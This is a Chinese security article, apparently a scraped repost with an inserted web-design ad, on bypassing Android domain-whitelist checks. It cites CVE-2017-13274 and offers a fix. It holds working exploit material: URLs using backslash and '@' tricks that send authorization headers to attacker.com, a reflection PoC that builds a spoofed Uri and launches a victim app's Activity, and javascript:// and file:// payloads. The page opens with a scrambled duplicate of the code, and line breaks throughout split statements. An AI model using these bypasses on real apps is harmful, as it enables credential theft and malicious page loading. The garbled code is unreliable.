Android中怎么绕过域名白名单校验
这期内容当中小编将会给大家带来有关Android中怎么绕过域名白名单校验，文章内容丰富且以专业的角度为大家分析和叙述，阅读完这篇文章希望大家可以有所收获。
/* Uri 结构
* [scheme:][//authority][path][?query][#fragment]
*/[check_v1
]Uri uri = Uri.parse(attackerControlledString
);if ("legitimate.com".equals(uri.getHost()) || uri.getHost().endsWith(".legitimate.com"
)) { webView.loadUrl(attackerControlledString, getAuthorizationHeaders
());
// or webView.loadUrl(uri.toString())
; Log.d("getHost:", Uri.parse(url).getHost());
// 输出 attacker.com\.legitimate.com ! if (Uri.parse(url).getHost().endsWith(".legitimate.com"
)) { webView.loadUrl(url, getAuthorizationHeaders());
// 成功加载 attacker.com！
;Log.d("Wow", Uri.parse(url).getHost());
// 输出 legitimate.com!webView.loadUrl(url, getAuthorizationHeaders()); // 加载 attacker.com！
]public static Uri parse(String uriString
) { return new StringUri(uriString
);
]private static class StringUri extends AbstractHierarchicalUri
{
... private StringUri(String uriString
) { this.uriString = uriString
;
}
... private Part getAuthorityPart
() { if (authority == null
) { String
encodedAuthority = parseAuthority(this.uriString, findSchemeSeparator
()); return authority = Part.fromEncoded(encodedAuthority
);
} return authority
;
}
... static String parseAuthority(String uriString, int ssi
) { int length = uriString.length
();
// If "//" follows the scheme separator, we have an authority. if (length > ssi +
2 && uriString.charAt(ssi + 1) ==
'/' && uriString.charAt(ssi + 2) == '/'
) {
// We have an authority.
// Look for the start of the path, query, or fragment, or the
// end of the string. int end = ssi + 3
; LOOP: while (end < length
) { switch (uriString.charAt(end
)) { case '/':
// Start of path case '?':
// Start of query case '#':
// Start of fragment break LOOP
;
} end++
;
} return uriString.substring(ssi + 3, end
); } else
{ return null
;
}
}
]private abstract static class AbstractHierarchicalUri extends Uri
{ private String parseUserInfo
() { String authority = getEncodedAuthority
(); int end = authority.indexOf('@'
); return end == NOT_FOUND ? null : authority.substring(0, end
);
}
... private String parseHost
() { String authority = getEncodedAuthority
();
// Parse out user info and then port. int userInfoSeparator = authority.indexOf('@'
); int portSeparator = authority.indexOf(':', userInfoSeparator
); String encodedHost = portSeparator ==
NOT_FOUND ? authority.substring(userInfoSeparator + 1
) : authority.substring(userInfoSeparator + 1, portSeparator
); return decode(encodedHost
);
}
]Uri uri = getIntent().getData
();boolean isOurDomain = "https".equals(uri.getScheme())
&& uri.getUserInfo() == null
&& "legitimate.com".equals(uri.getHost
());if (isOurDomain
) { webView.load(uri.toString(), getAuthorizationHeaders
());
]private static class HierarchicalUri extends AbstractHierarchicalUri
{ private final String scheme;
// can be null private final Part authority
; private final PathPart path
; private final Part query
; private final Part fragment
; private HierarchicalUri(String scheme, Part authority, PathPart path, Part query, Part fragment
) { this.scheme = scheme
; this.authority = Part.nonNull(authority
); this.path = path == null ? PathPart.NULL : path
; this.query = Part.nonNull(query
); this.fragment = Part.nonNull(fragment
);
}
...
{ private Part(String encoded, String decoded
) { super(encoded, decoded
);
}
}static class PathPart extends AbstractPart
{ private PathPart(String encoded, String decoded
) { super(encoded, decoded
);
}
() { private static final String TAG = "PoC"
; String attackerUri = "@attacker.com"
; String legitimateUri = "legitimate.com"
; try
{ Class partClass = Class.forName("android.net.Uri$Part"
); Constructor partConstructor = partClass.getDeclaredConstructors()[0
]; partConstructor.setAccessible(true
); Class pathPartClass = Class.forName("android.net.Uri$PathPart"
); Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0
]; pathPartConstructor.setAccessible(true
); Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri"
); Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0
]; hierarchicalUriConstructor.setAccessible(true
); Object authority = partConstructor.newInstance(legitimateUri, legitimateUri
); Object path = pathPartConstructor.newInstance(attackerUri, attackerUri
); Uri uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null
); Log.d(TAG, "Scheme: " + uri.getScheme
()); Log.d(TAG, "UserInfo: " + uri.getUserInfo
()); Log.d(TAG, "Host: " + uri.getHost
()); Log.d(TAG, "toString(): " + uri.toString
()); } catch (Exception e
) { throw new RuntimeException(e
);
} Intent intent = new Intent("android.intent.action.VIEW"
); intent.setClassName(Victim_packageName, Victim_className
); intent.setData(uri
); intent.addFlags(268435456
); startActivity(intent
);
D PoC : Scheme: https07-07 19:00:36.765 9209 9209
D PoC : UserInfo: null07-07 19:00:36.765 9209 9209
D PoC : Host: legitimate.com07-07 19:00:36.765 9209 9209
Click Attack v1>Click Attack v2>
本文题目：Android中怎么绕过域名白名单校验
URL分享：http://mswzjz.cn/article/cjiisd.html
这期内容当中小编将会给大家带来有关Android中怎么绕过域名白名单校验，文章内容丰富且以专业的角度为大家分析和叙述，阅读完这篇文章希望大家可以有所收获。
一、 Url加入反斜杠"\"1.1. 方法描述
创新互联建站是专业的缙云网站建设公司，缙云接单;提供网站制作、网站建设,网页设计,网站设计,建网站,PHP网站建设等专业做网站服务;采用PHP框架,可快速的进行缙云网站开发网页制作和功能扩展;专业做搜索引擎喜爱的网站,专业的做网站团队,希望更多企业前来合作!
先来看一种典型的域名校验写法:/* Uri 结构
* [scheme:][//authority][path][?query][#fragment]
*/[check_v1
]Uri uri = Uri.parse(attackerControlledString
);if ("legitimate.com".equals(uri.getHost()) || uri.getHost().endsWith(".legitimate.com"
)) { webView.loadUrl(attackerControlledString, getAuthorizationHeaders
());
// or webView.loadUrl(uri.toString())
}
然而...String url = "http://attacker.com\\.legitimate.com/smth"; Log.d("getHost:", Uri.parse(url).getHost());
// 输出 attacker.com\.legitimate.com ! if (Uri.parse(url).getHost().endsWith(".legitimate.com"
)) { webView.loadUrl(url, getAuthorizationHeaders());
// 成功加载 attacker.com！
}
可以看到 getHost() 和 loadUrl() 的表现不一致，if检验跳转目标是legitimate.com，但执行时浏览器会把反斜线纠正为正斜线去访问attacker.com。那么如果是用 equals() 来做完整的 host 检验该怎么办呢？只需加一个‘@’就能隔断非法前缀。String url = "http://attacker.com\\@legitimate.com/smth";Log.d("Wow", Uri.parse(url).getHost());
// 输出 legitimate.com!webView.loadUrl(url, getAuthorizationHeaders()); // 加载 attacker.com！
1.2. 分析原因
看来android.net.Uri的 parse() 是有安全缺陷的，我们扒拉一下代码定位问题...[frameworks/base/core/java/android/net/Uri.java]public static Uri parse(String uriString
) { return new StringUri(uriString
);
}
继续看这个内部类StringUri[frameworks/base/core/java/android/net/Uri.java]private static class StringUri extends AbstractHierarchicalUri
{
... private StringUri(String uriString
) { this.uriString = uriString
;
}
... private Part getAuthorityPart
() { if (authority == null
) { String
encodedAuthority = parseAuthority(this.uriString, findSchemeSeparator
()); return authority = Part.fromEncoded(encodedAuthority
);
} return authority
;
}
... static String parseAuthority(String uriString, int ssi
) { int length = uriString.length
();
// If "//" follows the scheme separator, we have an authority. if (length > ssi +
2 && uriString.charAt(ssi + 1) ==
'/' && uriString.charAt(ssi + 2) == '/'
) {
// We have an authority.
// Look for the start of the path, query, or fragment, or the
// end of the string. int end = ssi + 3
; LOOP: while (end < length
) { switch (uriString.charAt(end
)) { case '/':
// Start of path case '?':
// Start of query case '#':
// Start of fragment break LOOP
;
} end++
;
} return uriString.substring(ssi + 3, end
); } else
{ return null
;
}
}
}
这里就明显看到StringUri没有对authority部分做反斜杠的识别处理, 接着找StringUri的父类AbstractHierarchicalUri瞧瞧：[frameworks/base/core/java/android/net/Uri.java]private abstract static class AbstractHierarchicalUri extends Uri
{ private String parseUserInfo
() { String authority = getEncodedAuthority
(); int end = authority.indexOf('@'
); return end == NOT_FOUND ? null : authority.substring(0, end
);
}
... private String parseHost
() { String authority = getEncodedAuthority
();
// Parse out user info and then port. int userInfoSeparator = authority.indexOf('@'
); int portSeparator = authority.indexOf(':', userInfoSeparator
); String encodedHost = portSeparator ==
NOT_FOUND ? authority.substring(userInfoSeparator + 1
) : authority.substring(userInfoSeparator + 1, portSeparator
); return decode(encodedHost
);
}
}
就在这里把@符号之前内容的作为 UserInfo 给切断了，host 内容从@符号之后算起。（这里其实存在另一个 bug，没有考虑多个@的情况）1.3. 影响范围
Google 在 2018年4月的 Android 安全公告里发布了这个漏洞CVE-2017-13274的补丁
通过AndroidXRef查询，这个补丁在 Oreo - 8.1.0_r33 才加入到原生源码中。所以安全补丁日期早于2018-04-01的系统都受影响，而 Google 一般通过协议要求 OEM 厂商保证产品上市之后两年内按期打安全补丁。那么经过推算得出 Android 6及以下的系统都受影响。
PS：url含多个@的情况也在2018年1月的补丁中进行了修复CVE-2017-13176二、反射调用HierarchicalUri构造Uri2.1. 检查UserInfo
上一节提到了@的截取的特性，会把恶意地址前缀attacker.com存入 UserInfo，那么现在改进校验方法, 加上 UserInfo 的检查是不是就万无一失了呢？[check_v2]Uri uri = getIntent().getData
();boolean isOurDomain = "https".equals(uri.getScheme())
&& uri.getUserInfo() == null
&& "legitimate.com".equals(uri.getHost
());if (isOurDomain
) { webView.load(uri.toString(), getAuthorizationHeaders
());
}2.2. 挖掘思路
我们还是看android.net.Uri源码，发现除了StringUri，还有一个内部类也 HierarchicalUri 也继承了 AbstractHierarchicalUri[frameworks/base/core/java/android/net/Uri.java]private static class HierarchicalUri extends AbstractHierarchicalUri
{ private final String scheme;
// can be null private final Part authority
; private final PathPart path
; private final Part query
; private final Part fragment
; private HierarchicalUri(String scheme, Part authority, PathPart path, Part query, Part fragment
) { this.scheme = scheme
; this.authority = Part.nonNull(authority
); this.path = path == null ? PathPart.NULL : path
; this.query = Part.nonNull(query
); this.fragment = Part.nonNull(fragment
);
}
...
}
{ private Part(String encoded, String decoded
) { super(encoded, decoded
);
}
}static class PathPart extends AbstractPart
{ private PathPart(String encoded, String decoded
) { super(encoded, decoded
);
}
}2.3. 构造PoC
由此构造 PoC 如下：public void PoC() { private static final String TAG = "PoC"
; String attackerUri = "@attacker.com"
; String legitimateUri = "legitimate.com"
; try
{ Class partClass = Class.forName("android.net.Uri$Part"
); Constructor partConstructor = partClass.getDeclaredConstructors()[0
]; partConstructor.setAccessible(true
); Class pathPartClass = Class.forName("android.net.Uri$PathPart"
); Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0
]; pathPartConstructor.setAccessible(true
); Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri"
); Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0
]; hierarchicalUriConstructor.setAccessible(true
); Object authority = partConstructor.newInstance(legitimateUri, legitimateUri
); Object path = pathPartConstructor.newInstance(attackerUri, attackerUri
); Uri uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null
); Log.d(TAG, "Scheme: " + uri.getScheme
()); Log.d(TAG, "UserInfo: " + uri.getUserInfo
()); Log.d(TAG, "Host: " + uri.getHost
()); Log.d(TAG, "toString(): " + uri.toString
()); } catch (Exception e
) { throw new RuntimeException(e
);
} Intent intent = new Intent("android.intent.action.VIEW"
); intent.setClassName(Victim_packageName, Victim_className
); intent.setData(uri
); intent.addFlags(268435456
); startActivity(intent
);
}
logcat 输出：07-07 19:00:36.765 9209 9209D PoC : Scheme: https07-07 19:00:36.765 9209 9209
D PoC : UserInfo: null07-07 19:00:36.765 9209 9209
D PoC : Host: legitimate.com07-07 19:00:36.765 9209 9209
D PoC : toString(): https://legitimate.com@attacker.com
从输出日志可以看到，通过此反射方法构造的 Uri 对象，可以通过 check_v2 方法对 Scheme、 UserInfo 和 Host 的三项检验，但 toString() 方法的值https://legitimate.com@attacker.com，才是被攻击的 Activity 拉起的实际地址。如前所述，@符号之后的 attacker.com 便成为了最终访问的 host。2.4. 限制与绕过
Android P 之后 Google 对 non-sdk 的 @hide API 进行了限制。Android Studio 也会给出如下提示，并且让这种反射调用在运行时报错失败。
Accessing internal APIs via reflection is not supported and may not work on all devices or in the future less... (Ctrl+F1) Inspection info:Using reflection to access hidden/private Android APIs is not safe; it will often not work on devices from other vendors, and it may suddenly stop working (if the API is removed) or crash spectacularly (if the API behavior changes, since there are no guarantees for compatibility). Issue id: PrivateApi
截止到目前——Android Q Beta 4，还是有绕过的方法, 关于绕过原理的梳理不在本文议题范围。2.5. 修复方法
抵御这种攻击的方法也非常简单，对传入的 Uri 对象加一次 parse() 再做 check_v2 即可。事实上，有大量的开发者因为不了解这个性质，认为传入的 url 已经是”正常“通过 Uri.parse() 构造的，直接信任放行。三、远程利用方法1
我们知道，通过在组件中注册 intent-filter，App 可以响应浏览器应用或短信应用访问的外链。典型的一个配置写法如下，只有 标签中指定的内容和 Intent 中携带的 Data 完全一致时，当前活动才能响应该 Intent。Click Attack v1>Click Attack v2>
然而，对于第一个链接，浏览器会自动把反斜杠 "\" 纠正为正斜杠 "/"对于第二个链接，反斜杠 "\" 会以 URL 编码形式保留而无法触发方法1
通过仔细研究intent://scheme的工作机制，发现可以通过如下方式保留反斜杠 "\" 的方法：
PoC:Uri.parse("https://attacker.com\\\\@legitimate.com/://not_used/")
从而实现方法1的远程执行版本。四、缺少scheme验证
实战不乏有些 App 对 host 做了校验，但却遗漏了对 scheme 的检查。
可以用下面的 uri， 尝试进行 js 和 file 域的 PoC：javascript://legitimate.com/%0aalert(1)//
file://legitimate.com/sdcard/payload.html
本文题目：Android中怎么绕过域名白名单校验
URL分享：http://mswzjz.cn/article/cjiisd.html